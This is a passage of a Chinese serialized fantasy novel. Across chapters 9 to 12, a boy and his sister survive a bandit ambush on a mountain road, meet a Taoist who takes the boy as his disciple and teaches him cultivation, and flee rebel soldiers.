王伯笑道:“你以为呢?天底下哪来的无缘无故的好?不过,也不能单单以此来分辨一个人的好坏就是了。” 杨笑“哦”了一声。 一夜无话。 第二天一早店小二儿告诉几人,明天有一批客商要进山,他们可以跟着这批客商一起出发。 姐弟一行人进山后是否能够一路平安,欲知后事如何,且听下回分解。 第九回 触云岭半路遇笨贼 第二天一大早众人收拾停当,用了早饭后便驾车上山而去。进山前与几个商队汇合一处结伴而行。 这座山名叫触云岭。山谷内林木茂盛,一条道路弯弯曲曲,穿山过岭,然后隐没在彩云之间。道路的一侧是一条小河,河滩上铺满了白色的沙子,在阳光的照耀下闪烁着各色光芒显得五彩斑斓。路的另一侧山脚下,有许多从山上滚落的大大小小的石头隐没在树木荒草之间。树林间偶而可以看到有小兽出没,头顶上不时传来阵阵鸟叫声。高大的树木将枝杈伸展开来,把头顶的天空都给遮盖住了,阳光透过枝叶间的缝隙照射出一道道金色的光线,在地面上留下了一片片斑驳的影子。山间美景接踵而至,看得几人心情大好,连这些日子来蒙在心头上的阴霾也消散了许多。 一路行来,两侧的山势逐渐变得陡峭起来,河滩上的沙子渐渐地变少,被棱角分明的石头取代,小河也不知不觉的就变成了小溪,最后,干脆跟道路来了个分道扬镳。路也越来越窄了,并且时不时的就有一个陡坡出现,载满货物的车辆单靠拉车的牲畜拉上坡都会很吃力,需要几个人帮忙推着才行。走了半天连拉车的牛马都累出一身身的汗来。 日到当午,众人找了一处树荫吃了些干粮,休息一阵后接着赶路。 王伯驾车,杨笑坐在另一侧,嘴里啃着一个水果,边吃边看山里的美景。 正百无聊懒间,忽然听到后面传来一声异响,伴着一声马匹的嘶鸣声。王伯赶紧勒住了缰绳往后看去,只见王大勇正从地上爬起来,马车歪在了一边,车上的行李滚落了一地。 原来连日的赶路,让车轴上的一根销子磨损严重早已有些松动了,不知道什么时候掉了下来,一侧车轮从车轴上脱落,马车歪翻在路上,把王大勇给摔了一跤。 车上拉着的行李滚落在地上,路的另一边就是万丈深渊,好几件行李滚落到悬崖下面不见了踪影。王大勇从地上爬起来,看了眼脚下的深渊,擦了把头上的冷汗心里连声叫着:“好险!好险!” 车子坏在路当间把后面的车给堵了,王伯于是上后面的车队招呼了几个壮汉帮忙把车抬到路边,好让出道路。父子两个检查了一番,见车轴也有些磨损,好在不太严重稍作修理便可上路。 等到把车修好后日头已经偏西了。这一番耽误已然落在结伴的队伍后面很远,几个人赶紧把行李装到车上。经过清点发现丢了的几件行李里面有杨笑学习用的书本,还有用来防身的兵刃也全都滚落到山下了。好在丢失的行李不多,干粮和御寒的衣被也都在。不过,现在已经顾不了这些了,眼见天色将晚车又不能快走,在这前不着村后不着店的深山里,几个人心中不免有些着急。 常言道:怕什么,来什么!就在几个人着急赶路时,突然,从路旁的山石草木中冲出来一群人。这些人一个个手持棍棒,嘴里嗷嗷乱叫着,前前后后把几个人给围了起来。当中一个尖嘴猴腮,八字眉,三角眼的家伙拿着一把剔骨尖刀指着几个人呵斥道:“都给我下车,通通排队站好了!” 几个人心想:“坏了!这是碰上山贼土匪了。” 杨笑躲在王大勇身后偷瞄了几眼。这伙人一个个破衣烂衫,蓬头垢面,就差衣不遮体了,说他们是山贼劫匪倒不如说是一帮逃荒的灾民更贴切些。 兴许是初生牛犊不怕虎的原故,杨笑虽说也是头一回遇这种事,但他自己的心里却是说不上有什么怕劲儿。他被姐姐搂在怀里,不住的扭头往那些山贼们的身上望去。“这些山贼土匪混得也忒惨了点儿。”杨笑在心里面嘀咕着。 虽说人家混得是差了些,可毕竟也算是正而八经的做着劫匪山贼的活计,几个人还是被吓得不轻。 王伯父子把女眷们挡在身后冲山贼们说道:“各位好汉,我们也是家中遭难的人,还望好汉们不要为难我们,老汉愿意奉上银两,只求好汉们能放我一家老小离去。”说着用手肘碰了碰身后的杨落儿。 杨落儿会意,连忙递过去一个钱袋。王伯接过来后把钱袋抛给了那为首的山贼。 那个尖嘴猴腮的家伙伸手去接钱袋,结果却没有接稳,手忙脚乱中,钱袋在他手头上连跳了几跳,结果还是掉在了地上。那匪首赶忙快走两步弯腰捡了起来,样子颇有些滑稽。 匪手掂了掂手里的钱袋,看样子还是挺满意的。 匪首心里美滋滋的:“还是干这行来钱快,以前老子给地主老财家干几年的长工也看不到这么多个钱。”想着想着匪首的脸上不由得笑开了花。拿出一个铜板来,左看看右看看,又拿出一块儿碎银子,仔细的瞧了又瞧,还用牙咬了咬:“算你们还有点儿眼力劲儿,上道,啊…上道……。” 那些劫匪们见了银子一个个的也是眼里放光。 那贼眉鼠眼的家伙说着又朝王伯父子二人身后瞧过去:“呦呵!还有两个漂亮的小娘子”说着冲王伯父子摆摆手:“起开!起开!……。让爷爷我好好瞧瞧。” 杨落儿在内的几个女子闻言往一块儿挤的更紧了。王婶将她们三个全都护在怀里,杨落儿把弟弟杨笑搂在身前。 王伯父子二人闻言又往中间靠了靠:“好汉们饶了我们吧,我们愿意多拿些钱财”说着又从怀里掏出十多个铜板双手捧着求饶道:“我们也是家中遭了难要去投奔亲戚的,只求好汉们能放我们一马。”王伯嘴上不住的救饶说软话,心里却是焦急万分,好巧不巧的是防身的家伙什又掉到了山崖下,情急之下只得心思急转思量着几个人的保命退路。 各位看官可能就要问了:为什么防身的兵器不随身携带反而要装在车上跟行李放在一块儿呢?不然也不会掉到山沟沟里头去,搞得这会儿手里头连趁手的兵器都没有吧? 至于这个问题嘛……我只能说:身上带着那么大的凶器招摇过市,到处乱跑,你有没有问过官府答应不答应啊?不然你带上两把菜刀到大街上去逛荡几圆,你看会不会有警察叔叔给你送来“亲切的问候”。 总之……不要多问,问就是剧情需要。 咱们言归正传。 只说那尖嘴猴腮的匪首见王伯不识抬举,便一瞪眼,不耐烦的说道:“你个老东西,怎么这么不听话呢!”说着就冲几个劫匪指了指:“你们几个快把他俩给我弄一边儿去。” 劫匪们一哄而上。王伯父子于是伸开拳脚跟他们搏斗在一起。 王伯父子二人也确实有几分举脚功夫,好些山贼都被他俩打倒在地。可俗话说:双拳难敌四手。对方到底是人多势众,打斗中二人难免照护不周全给了对方可乘之机。 正打斗间,忽然听到杨落儿一声惊叫。原来打斗中几个山贼趁王伯父子一时难以顾及,绕到了两人身后把杨落儿等几个女眷给抓了起来。王伯父子见杨落儿等人被抓住,一时间投鼠忌器,只得放弃了抵抗,被几个山贼按在一旁。 这一阵扭打把几个女眷吓得一阵尖叫,倒把那贼眉鼠眼的匪首看得心里直痒。围着几个女眷转了一圈:“嘿嘿……没想到咱们弟兄几个第一把活儿就抓了个大的,不但有钱,还有几个好看的小娘子。”说着就拿手去抹嘴角流出来的口水,看得杨落儿一阵恶心。那匪首上前就要摸杨落儿的脸:“这个长得最嫩最好看,正好儿给我当个押寨夫人,嘿嘿……。” “不许你碰我姐姐!”杨笑冲上来打掉匪首那脏兮兮的黑手,把杨落儿挡在身后。杨落儿见状赶紧往身后拉杨笑,杨笑甩脱姐姐的手臂倔强的挡在杨落儿身前。尖嘴猴腮的匪首把目光转向杨笑:“刚才怎么没看到这儿还有个毛头小子?”说着一把就揪住了杨笑胸前的衣襟,露出一个自以为恶狠狠的表情咧着嘴说道:“你个小兔崽子,也想挡爷爷的道儿。” “快放开我弟弟!”杨落儿上前就往回抢杨笑。匪首把杨笑往旁边一拎,贱笑道:“可以呀!只要你乖乖的跟我回去做我的押寨夫人,那这个毛头小子就是我的小舅子了,我怎么会亏待了自己的小舅子呢?你说是不是?”说着就上前伸脸努嘴作势要亲杨落儿,结果被杨落儿狠狠的甩了个耳光。 匪首捂着脸颊恼怒道:“你们几个还不快把这个娘们给我摁住!爷爷我要把这个小娘们就地正法。” 几个喽罗一哄而上,把杨落儿按在地上。 匪首把杨笑摔在地上,一脚踏在他的胸口,从腰后抽出那把尖刀来,杨落儿见状尖叫道:“不要!不要碰我弟弟!”匪首闻言一愣扭头看向杨落儿。 杨落儿求饶道:“求你不要伤害我弟弟,不要伤害他。” 匪首哈哈大笑:“行啊!当然行。只要你乖乖的从了我,我就放了他,要不然的话我就往他身上桶上十个八个大窟窿。” 杨笑大叫着:“姐,不要听他的!”匪首脚上一用力,杨笑顿时就说不出话来,脸都憋得通红。 那匪首也懒得和他们多说,一招手:“傻大个儿,快过来给我看着这小子。” 一个五大三粗,有些呆呆的劫匪小跑过来。匪首把手里的尖刀递给他,指了指王大勇的媳妇儿:“看住这小子,回去了哥哥我就让你在那个娘们儿身上开开荤。” 那个傻大个儿憨憨地笑道:“好。好。” 被称作傻大个儿的汉子把杨笑拎到跟前拿刀抵在他的脖子上。 匪首放开杨笑走到杨落儿跟前伸手去摸她的脸,杨落儿扭头躲开。那匪首脸色一变,甩了她一巴掌,一把将杨落儿胸前的衣襟拉开,露出了里面的亵衣,吓得杨落儿高声尖叫。 那边被按在地上的王伯父子只恨自己不那救下自家主人。 这边,傻大个儿抓着杨笑乐呵呵的看着自家老大的表演。他虽然被叫作傻大个儿,却也不是全傻,看着地上不住尖叫挣扎的女子,又看看那个老大许诺让自己开荤的娘们儿,“这娘们儿长的还行……。”傻大个儿看着看着就有点浮想联翩了。 傻大个儿的脑子一走思,人就难免不在状态了,手上的劲儿不知不觉的也松了。杨笑被傻大个抓着,用刀架着脖子。看到姐姐的这一幕不由得想起了母亲惨死时的情景,一时间胸中激起莫大的愤恨。杨笑大叫一声,一把抱住傻大个的手臂张嘴就咬了上去。傻大个儿的拇指被杨笑咬的生疼,疼得他“哎呦”一声,手上一松劲儿,刀子掉在了地上。杨笑立刻捡起那把刀,回手就捅在了傻大个儿的大腿上,傻大个儿疼得后退几步跌倒在地上,抱着大腿惨叫。 杨笑提刀冲向匪首,那匪首正把杨落儿按在地上撕扯衣服,听到傻大个儿的惨叫正要爬起来,却已经被杨笑冲到跟前一刀就刺在了匪首的屁股上。匪首的身子往旁边一歪一个跟头翻倒在地上捂着屁股嗷嗷乱叫。见杨笑一个箭步又冲上前来,也顾不得屁股上痛了,急忙连滚带爬的逃命,结果背后又挨了一刀,不过总算甩开杨笑捡回了一条小命。 王伯父子趁势挣脱束缚,王大勇三步并作两步来到杨笑身边,接过杨笑手里的尖刀,转身接连将冲到跟前的两个山贼给刺伤地。 再说这一帮劫匪。本来就是一群逃难的灾民,走投无路之下才聚在一起做起了山贼。手里连个像样的武器都没有,一个个都拿着从树上折下来的木棍,唯一的一把刀还是在逃难的途中从一个卖肉摊上偷偷顺来的。就这一把刀还被杨笑夺了过去连伤两个人。这些灾民哪见过这般血溅五步的阵势,见匪首一跑,立刻一哄而散,跑得比那个尖嘴猴腮的匪首快多了。 杨笑跑到姐姐身边,杨落儿抱着弟弟失声痛哭。王伯见状连忙劝道:“少爷,小姐,现在可不是哭的时候,快快上车,赶紧离开这里才是要紧事儿。”杨笑姐弟俩闻言赶紧收拾了东西驾车而去。 这一跑就一直跑到天黑的看不清路了才远远的看见有火光,正是前面的车队在夜里扎营休息,几个人连忙赶上前去与车队会合。 接下来的路上扬笑还会碰到些什么事情呢?欲知后事如何,且听下回分解。 第十回 迷雾峡初结师徒缘 上一回说到姐弟一行人在路上遇到了山贼土匪,好在最后总算是有惊无险。 赶上车队后,有同行之人见他们有人身上沾染血迹,便上前询问原由。王伯父子向众人说起先前的遭遇,众人都宽慰几句,有说出门在外诸事艰难;有人愤懑朝廷昏庸不顾黎民死活;还有说以往这段路上从来没闹过山贼劫匪的;……。总之,众人各说各话,聚了一阵子后便纷纷散去了。 深秋的山间寒风阵阵如同隆冬腊月一般,好在营地扎在一处背风向阳的地方。 天太冷了,杨落儿在车厢里铺了厚厚的被褥,姐弟俩打算在车厢里过夜。王伯把两辆马车靠在一起阻挡寒风,在车厢旁搭起了帐篷,又在帐篷前生了一堆火。姐弟一行人做好过夜的准备后就围在火堆边吃了晚饭。夜里,车队安排了守夜之人,其余的人便先后睡去了。 一夜无话。 第二天,天刚蒙蒙亮,一群人早早的起来收拾东西准备出发。就在王伯几人正收拾东西的时候,突然从营地一头传来一阵骚动,有牛马受惊后嘶鸣奔跑,有人大声的呼喊着什么。 王伯正在地上收拾行李,听到声响后刚一抬头就看见一团黑影窜至眼前,幸好儿子王大勇眼疾手快一把将父亲拉到身边,这才堪堪的躲过了那团黑影。定睛一看,看清了那团黑影的真面目,原来是一头野猪。 那头野猪身上的黑毛就像钢针一样插满全身,一副雪白的獠牙寒光闪闪露在嘴外足有一拃长,样子十分的骇人。 那头野猪在车队里横冲直撞弄的人仰马翻,这时从另一边又冲出一头体型更大的野猪。先前那头野猪立刻调转方向撒开四蹄狂奔,一个转向却是冲向了杨家人停在一旁的马车。 马匹受了惊吓一声嘶鸣,双蹄跃起挣断了缰绳。王大勇上前拦截非但没有拦住,反倒被拽了个跟头,马儿拉着车沿路飞奔而去。王大勇从地上爬起来一拍大腿跳脚说道:“坏了!少爷和小姐还在车上。” 再说杨笑正在车上睡的迷迷糊糊的,听到外面的声音正要爬起来看看发生了什么事。突然间马嘶人叫车辆一阵巨烈晃动,杨笑只好牢牢的抓住车厢不敢动弹。紧接着那马儿就拉着车冲出人群一阵狂奔,把车厢里的姐弟二人给颠了个七荤八素。 ……。 也不知道跑了多久马车终于慢慢地停了下来。杨笑探出头来,见马儿停在一片平地上正低头吃草,再看看两边都是悬崖峭壁。 姐弟俩此时正身处一片峡谷之中。 眼前的这片平地满是荒草,荒草间露出来的地面上铺了一层洁白的细沙,细沙铺成的小路沿着狭窄的峡谷蜿蜒而去。清晨的山间,雾气弥漫,放眼望去,除了脚下的荒草、细沙还有两边的崖壁外再看不见别的什么事物了。这么大的雾在寒冬一般的山里确实少见。 姐弟俩也分辨不清方向,来时的车辙印又被荒草覆盖,只好随便选了个方向顺着峡谷一路向前走去。 与此同时,在一座山峰上。半山腰的一块山石上有一个人正盘膝打坐,呼吸吐纳。这人身材修长,面色红润,有一双细长的眸子;头绾发髻,系一根金色发带,发髻上插一根树枝当做发簪,留有两缕长髯;一身锦绣道袍,手持拂尘,显得仙风道骨。 道士正打坐间,忽地眉头一皱,轻“咦”一声,睁开双目向一处方向望去:“竟然这么快就跟来了,不应该呀?”道人沉吟一声:“待我看上一看。”于是道人单手掐个法决,双指并拢在眼前一抹,立刻双目发出灿灿金光。 不知多远处的一道峡谷内,一个少年正牵着马车在峡谷里循路而行。马车上坐着一名妙龄少女,一手搭着车帘正对前面牵马的少年说着什么。而那少年的身上正有一股股氤氲之气缓缓散出。道人看到这番情景面上一喜:“这是……?”随后道人双眼闪动似乎有些不可思议:“待我再细细看过。”然后又仔仔细细的把那少年上上下下打量了个遍。道人一拍双膝哈哈笑道:“道蕴天成,自成迹象,天不绝我千符门!天不绝我千符门呐!哈哈……。” 那道人所观之人不是别人,正是杨笑姐弟。这时的杨笑姐弟正在峡谷中寻找出路。杨落儿在车上正说道:“笑儿让姐来牵马吧?这山里的风冷得很,你还小不要冻着了,快上车里来。” 杨笑头也不回:“不冷啊。姐,你只管在车上坐好。” 杨落儿又劝:“笑儿你要听话,姐姐就只有你这么一个亲人了,你可……。” 不等杨落儿说完杨笑止住脚步,转过身一本正经道:“姐姐从小就对笑儿无微不至,家里遭难姐姐更是一力承担,该是笑儿保护姐姐的时候了。”杨笑顿了顿又说:“姐姐只有笑儿一个亲人,笑儿又何尝不是呢?”杨落儿一时不知道该说些什么。杨笑抿了抿双唇露出一个调皮的表情来,又说道:“笑儿已经长大了。”杨落儿顿时觉得眼中有些湿润。 就在这时一个声音突然响起:“好一个姐弟情深啊!”姐弟二人心中一惊,只见从旁边的荒草中走出来一个道士。道士来到姐弟面前一扬拂尘喧了一声道号,道士打了个稽首说道:“贫道有礼了。”杨落儿连忙下车抓住杨笑的衣袖就往身后拉,杨笑不依,挣脱姐姐的手伸出一只手臂把姐姐护在身后,一手从腰间抽出了那把从山贼手里夺来的剃骨尖刀。杨笑拿刀一指那道士厉声喝问:“你是什么人,怎么躲在一边偷听别人说话?” 道士身子往后仰了仰,伸手挡住刀尖:“唉,小兄弟不要害怕,贫道玉玑子,人称美髯道人,乃……。” “什么贫不贫的,你看你这一身穿戴哪里贫了?”杨笑跟本不等道士说完。 “呃……。”道士一时语塞,想了想又微微躬身道:“老道……。” 没想到道士刚开口杨笑又呛道:“你也就四十出头的样子,还老道?” 道士又是一阵语塞,拱了拱手:“嗯……在下……。”道人见杨笑又要张口回呛自己连忙止住道:“鄙人,鄙人总行了吧?” “行了,你就说你要干什么吧?” 道士又是语结。 从一番对话里二人觉得来人似乎并无恶意,反而听得杨落儿差点儿笑出声来。道士心说:“好个小家伙儿,人不大,话道是够呛人的。”道士稽首道:“我观小兄弟天赋异禀,骨骼惊奇,乃是修行的奇才,特来与小兄弟结一个善缘。” 杨笑歪头上下打量一下道士没好气着:“我跟你又有什么善缘可结的,你还是找别人去吧……。” “有、有……”道士生怕杨笑再说出别的来,连说了几声有:“我可是专门儿来跟你结一个师徒之缘的。” “什么师徒之缘?让我跟你去当道士吗?”杨笑有点不奈烦了。不等道士说话杨落儿先不答应了:“我兄弟可是家里的独苗,不可能跟你去出家的。” 道士笑道:“诶!并非是让你出家。” “那你要我跟你干什么?”杨笑有些奇怪。 道士回答:“自然是随我学修仙得长生喽!” “得了吧,我可不信这世上有什么神仙,还有什么长生不老什么的。”杨笑一摆手。 “你没见过怎么知道没有呢?” “既然有为何世人从未见过?” “既如此,就让我跟你说上一说,若是我说的准了你便随我前去修行,若是说的不准……老道我扭头就走,怎么样?” 杨笑眨巴眨巴眼睛,看着道士也不说话,道士就当他默认了。道士又说道:“你可是家中变故,父母亲人皆亡?” 杨笑没好气的说道:“若家人安好,我姐弟至于沦落至此?” 道士捋一捋胡须笑道:“那是因为你是万年难遇的大气运者,但凡大气运者降世,多半会将家族气运抽吸干净,身边至亲之人自然不得善终。” 杨笑反驳道:“照你这么一说,我哪是什么大气运,分明是煞星降世。” 道士立刻说道:“没错!正所谓正则正之,邪则邪之!身负大气运者对某些人来说自然就是煞星无疑,不过他日等你修道有成之时便能对自己的气运掌握一二,届时便可福泽亲友了。” “你这话也不全准吧?”杨笑质疑道:“你说我至亲皆不得善终,那我姐姐为什么没事儿?” 道士笑呵呵的说道:“这就得问你姐姐了。”说着看向杨落儿。 杨笑也向杨落儿望去,杨落儿抿了抿嘴:“我……我……是父亲从路边捡来的……。”说着就把身事简单的述说了一遍。杨笑听得瞪大了眼睛,似乎还不能相信。 “这下你明白了?”道士问 “那又如何?我还是不会跟你去学什么修仙的,说不定你就是个江湖骗子呢?” 道士听到杨笑的话后便想要向他解释一下自己可不是什么江湖骗子,还想跟他说说修仙的好处,不过他刚要张嘴就似乎又想到了什么,于是又伸手掐着手指推算了一阵子,随后自言自语道:“原来如此!我说呢?看来是我太心急了。” 随后道士对杨笑摆摆手说道:“没关系,你也不用现在就答应,我看你俗缘未了,等你了结了尘缘俗事之后再来找我也不迟。”说话间道士手一抬,一道金光便飞入了杨笑眉心。杨笑只觉眼前一花,赶紧摸摸脑门和身子,也没感觉哪儿不对。道士安慰他:“你不用紧张,那是我一缕神魂,可在关键时刻保你性命。”说着就又要抬手,杨笑立刻警惕道:“你还要干什么?” “你莫要害怕,似你这般大气运者难免气息外放,若是遇到有心之人说不准还会对你心生歹意,待我替你遮掩一番。”说完一扬手,数道金光便飞入杨笑身体各处。 道士做完这些后双目微闭单手掐诀,一根手指抵在杨笑眉心似乎是在感受什么。片刻后道士睁开眼自言自语道:“果然不错,果然气运十足。”于是又是抬手一点,又有数道金光飞向杨笑,然后又在杨笑身上拍打几下,再次感受了一番,这才笑道:“这便妥当了。” 杨笑摸摸身上刚要说什么,道士伸手止住:“我再送你一身护甲防身,这样便可万无一失。”说着手一翻一套五彩甲胄出现在道士手里。再往杨笑身上一推那套甲胄就不见了踪迹。 “好了,事已经办成了,我这就送你二人回去。”说着一扬手,杨笑只见一片金色霞光将自己覆盖,然后只觉眼前景物飞快闪动,看得人一阵头晕眼花,吓得杨笑连忙紧闭双眼。等到再睁眼的时候已经身在一条大道上了。 这时,远远的听到有人在呼喊自己。道士告辞道:“好了,我该走了,以后你大可随自己心意行事,只是切不可为恶,不要对任何人说起今日之事。切记!切记!”等姐弟二人回头时那道士早就不见了人影。 姐弟二人你看看我,我看看你,都对刚才发生的事情难以置信,回想起来如在梦中。这时人声渐近,姐弟二人回过神儿来,杨笑扶姐姐上了马车驱车迎了过去。与王伯等人相聚后免不了一番关切,随后一行人又掉头返回追赶车队去了。 有了护身符的杨笑能否顺利的到达西梁呢?欲知后事如何,且听下回分解! 第十一回 修行第一步 姐弟一行人很快就追上了车队。又走了一天到日暮时分在山谷里出现了一座驿站,车队在驿站里休息一晚顺便补充一下给养。一路上像这样的驿站在出山前还会遇到几座,这些驿站都是官府为了方便过往的邮差和客商而设立的。 夜深后,驿站里的人都已进入了梦乡,可杨笑却怎么也睡不着了。不是杨笑不想睡,而是他一闭上眼那个道士的声音就出现在他的脑海里:“修行路漫漫,一日不可怠,乖徒儿快随为师修练起来……。” 那个声音一遍又一遍的在杨笑的脑海里响起,就好像有人在他的耳边絮絮叨叨的说个没完没了一般。杨笑实在是被它吵的没办法了,索性就从床上坐起来闭上眼,他倒要看看那个声音都能说出些什么来。杨笑刚坐好那个声音就幽幽的说道:“这样就对了!我来说,你跟着做,盘膝打坐,手抚丹田,缓缓吸气,慢慢吐出……。”那个声音说什么杨笑就跟着做什么。见杨笑依言而行,那个声音似乎是很满意的样子:“好!随为师一起在心中诵读:……无名天地之始,有名万物之母。故常无欲以观其妙;常有欲以观其徼。此两者同出而异名,同谓之玄。玄之又玄,众妙之门。……行不言之教,万物作焉而不辞,生而不有,为而不恃,……。”那个声音一直念叨了一大堆让杨笑似懂非懂的话。能听懂的地方杨笑就一边在心中诵读一边接照那个声音的要求去做,听不懂的地方就只能跟着它诵读了。 诵读完一遍接着又是一遍,也不管杨笑是否能理解,总之就是一遍又一遍的念叨着直到杨笑自己能够背诵后又开始跟杨笑解释每一句是什么意思。脑海里的那个声音好像知道杨笑在想什么似的,只要杨笑有什么不明白的地方,心中念头刚起,那个声音就立刻开始跟杨笑解释起来。 杨笑在那个声音的引导下很快就进入了状态,渐渐的杨笑感受到一股异样的感觉在自己的身体四周出现。一开始是一处地方,接着又是另一处地方,接下来越来越多的地方开始有那种异样的感觉。直到他全身各处都能感受到后,那种感觉竟然开始一点一点的想要往他身体里面钻,就像是有一条一条的毛毛虫在他全身各处爬动,又像是有一双温暖又柔软的手在轻轻的抚摸着他。 “咦!这么快就感受到了天地元气的存在吗?真不愧是万年难遇的奇才!”看到杨笑现在的情况后那个声音在杨笑的脑海里笑着说道。 很快的那种感觉就从杨笑的皮肤扩散到了他的身体里面,杨笑渐渐的感觉到全身上下都暖洋洋的无比的舒适。那种令人通体舒坦的感觉从皮肤到肌肉再到筋骨,最后一直到杨笑全身上下的各处经脉穴位中,等布满杨笑全身上下所有经脉和穴位后,一股股暖流开始在杨笑的经脉中形成,最后这些暖流顺着他全身的各大经脉全部汇聚到了杨笑的丹田之中。 这时那个声音又在杨笑的脑海里响起:“果然是先天十四经!果然是先天十四经!哈哈哈……真是天助我也!……。”过了一会儿那个充满惊喜的声音终于止住了笑声:“好了。乖徒儿今天就到这里吧,明天咱们再接着练习。” 说完这句话后道士的声音就消失不见了,很快杨笑缓缓的睁开了眼睛,这时候东方已经放亮了。杨笑伸了个懒腰,这时杨笑神奇的发现一夜未眠的自己不但没有一丝困意反而是通体舒坦,精神百倍。 这时候杨落儿也醒了,见杨笑醒的这么早便关心道:“笑儿,今天怎么醒这么早?” 杨笑冲姐姐神密的一笑:“啊?没什么呀!”……。 一大早在驿站更换了损坏的车轴。把马车修理妥当后,姐弟一行人再次随车队上路了。一路上除了天气越来越冷外也还算是顺利。山里的红叶渐渐多了起来,景色也甚是怡人,一路上风景秀丽杨笑的心情也是十分的好。 到了晚上杨笑刚睡下那个道士的声音就又在他的脑海里响起。杨笑在那声音的引导下又像前一天夜里一样让那股令人全身舒适无比的气息再次流淌在经脉中。等到那股气息全都顺着经脉再次汇聚到他的丹田后。那道士的声音夸赞杨笑一声又开始念诵另一道口诀:“太阴肺经起中焦,流注循环路迢迢。大肠胃脾心经连,小肠膀胱肾经翘。……。”杨笑按照那个声音的指示,引导丹田里汇聚来的那股气息开始在身体内运行起来。由于杨笑从小跟随父亲学习岐黄之术,而那个声音传授的口决中许多经脉穴位又与自己学过的医术相通,所以杨笑学起来比前一晚要顺利许多。 经过一夜的练习,那个声音满意道:“好,很好!今天就先到这里吧,明天我们接着练习。”等杨笑再次睁开眼时又是拂晓时分。此后每天晚上杨笑都在那声音的引导下练习它传授的口决。杨笑也从最开始的被迫练习渐渐的变成了主动练习。 这一天,杨笑他们终于走出了大山。远远的就看见有一座小镇,小镇外树了一根高高的旗杆,旗杆上挑着一面旗子,上面写着一个大大的“驿”字。可奇怪的是,正有几股黑烟从镇子里面冒出来,直冲上灰暗的天空。车队里有一名汉子打趣道:“这小镇做晚饭的动静够大的呀!” 旁边一个黢黑的汉子大声的反驳道:“动静个屁呀!那是着火了,还做晚饭,你个憨货就知道吃。” “哎哟!还真是,不会这么巧吧?”两个人一搭一唱的说着。说话间就见好些人冲出小镇往这边跑了过来。那些人边跑边冲车队的人喊道:“快跑!快往回跑!……。”再往那些人的身后一望,有一队人马手持刀枪棍棒正在追赶他们。车队里一位年长的老者看到这一幕面色一变:“这难不成是闹义军了?不好,快快掉头进山,快!” 等众人调过车头没跑多远就被义军追到了身后。“我等乃是圣道义军,尔等休要再逃,快快停下好与我等共襄大业。”冲在最前面的一个大汉高声叫道。 他不喊叫还好,这一嗓子吼完众人是一轰而散,跑得更快了。姐弟几人原本是走在车队最后面的,这一掉头就跑在了车队的最前头。姐弟俩乘坐的又都是马车,不像车队里有些车用牛拉着,姐弟俩的车跑起来自然是更快。王伯父子见义军追到更是一鞭接一鞭的催赶着拉车的马儿,那马儿于是撒开四蹄狂奔,不多时就把义军远远地甩在了后头。车队的人多,又是分头而逃,义军们只好捡跑的慢容易追的各自追赶,像姐弟一行人这样跑得快的,不好追上的就没人管了。到进山时身后早已不见了义军的身影,众人又往山里行了一段路程,这才停了下来。车队中一年长者见众人停下脚步连忙说道:“不要在官道上停留,以免他们顺路追来。”众人闻言忙又启程,寻了一条小路往一处山谷中而去。 繁星璀璨,明月当空。一处山谷间的空地中燃着几处篝火,火堆旁三五成群地围着一堆一堆的人。这些人都是白天躲避义军逃到这里的,姐弟几人也在其中。 王伯边往火堆里添着柴火边说道:“小姐,少爷,刚刚那人就是这么说的,他说只要顺着这条路走上两三天就能绕过前面闹义军的地方转到官道上……。” 王大勇接过话:“只是往西走的只有咱一家,别的人都是要往东走去京城的。” 杨落儿与弟弟对视一眼:“只有我们一家,在这山里行走是不是有些不方便?” 王伯提意道:“少爷,小姐,不如咱们就先在这山里躲上几日,外面那伙义军肯定闹不了几天,到时候咱们再出去顺着官道往西走不就行了。” 杨笑奇怪道:“您老怎么知道这些义军闹不了多长时间?” 王伯回答:“戏文上说的呗。” 杨笑更奇怪了:“戏文上……戏文里还讲这些?” 其他人也是面面相觑。王伯面露得意之色,一手抚须故作神秘接着说道:“这就不懂了吧?戏文上唱的义军哪家不是在山高皇帝远的地方举事,然后打仗打了好久,等势力壮大了才敢往京城这边走,最后打下京城做了天下的?”王伯抽了口旱烟又说:“眼下这帮子义军竟然敢直接在皇城跟前闹事儿,朝廷哪里能容得下他们?我看不出几日就得给他们平喽!”几个人都被王伯的样子给逗乐了,打趣他是看戏看多了。 被王伯这么一闹,几个人的心神也不似先前那般紧张了。商量了半夜,最后还是决定走小路往西而去。 这天,杨笑他们在山里走了大半天后刚转出大山就看见一座村庄,正打算去村里打听一下道路就见从村里杀出一堆人来向几人高喊道:“不要跑!”王伯没好气地丢下一句:“鬼才要听你的!”说着调转马头催马而去。好在这堆人只是徒步追赶并没有骑马,不一会儿就被甩掉了。 原本的行程突然又被义军打乱,姐弟一行人剩下的投亲之路又该怎么走?欲知后事如何,且听下回分解。 第十二回 外财与忠仆 空旷而幽静的山谷中微风徐徐,深秋里少有的暖阳照在人的身上暖洋洋的,让人生出几分慵懒来。几声清脆的鸟鸣,让山谷显得更加的静怡,与山外纷乱的世界相比更显出这里的宁静与祥和。 山谷里一条不宽的道路上一前一后的行走着两辆马车,车后还跟着几个人,这些人有老有少,有男有女,正是杨笑姐弟一行人。几个人好不容易摆脱了追兵,顺着大路跑了一段后,由于害怕起义军再次追来,于是就拐出大路来到了这处山谷中。这条小路实在是有些颠簸,几个人只好下车徒步而行。走了一段路后杨笑有些累了,一行人于是找了一处还算平坦的空地暂且休息。 正休息间,忽然听到有马蹄声伴随着车轮碾压路面时发出的“咕噜咕噜”声由远及近地传来。几个人都不由得警惕起来,一个个瞪大了眼睛望向声音传来的方向。不一会儿,一辆马车拐入了几人的视线中。 拉车的马儿高大俊逸,乌黑油亮的皮毛在阳光的照耀下反射出点点的亮光。那乌黑色的马车看上去装饰的十分豪华漂亮,应该是大户人家才能有的东西,只是在车厢上插了许多的箭矢,还有一根长枪斜斜地扎在车厢上,从车厢的这一面贯穿到了另一面。很显然,这辆马车在不久前刚经历了一场劫难。 那马儿走到几个人跟前没了去路,就停在路边低头吃起草来。 几个人面面相觑。 王大勇站起身小心的走到马车前轻轻地伸手牵住了那马儿的缰绳,生怕那马儿受到惊吓。王大勇牵住马缰绳后先是伸手拍了拍马背,然后抚着那马儿的鬃毛称赞道:“这可真是一匹好马。” 那马儿也不理他只顾打着响鼻在那低头吃草。王大勇冲着车厢里轻声问道:“车里有人吗?” 车厢里并没有人回应。 王大勇又提了提嗓门儿问了两声。 还是没人回应。 一连问了几声都没有人回应。王大勇回头望向众人,杨笑就想要起身上前,却被姐姐杨落儿给拉住了。王伯冲他示意一下,王大勇走到车厢跟前道一声“冒犯了”便伸手掀开了那绣了许多吉祥图案的车帘。 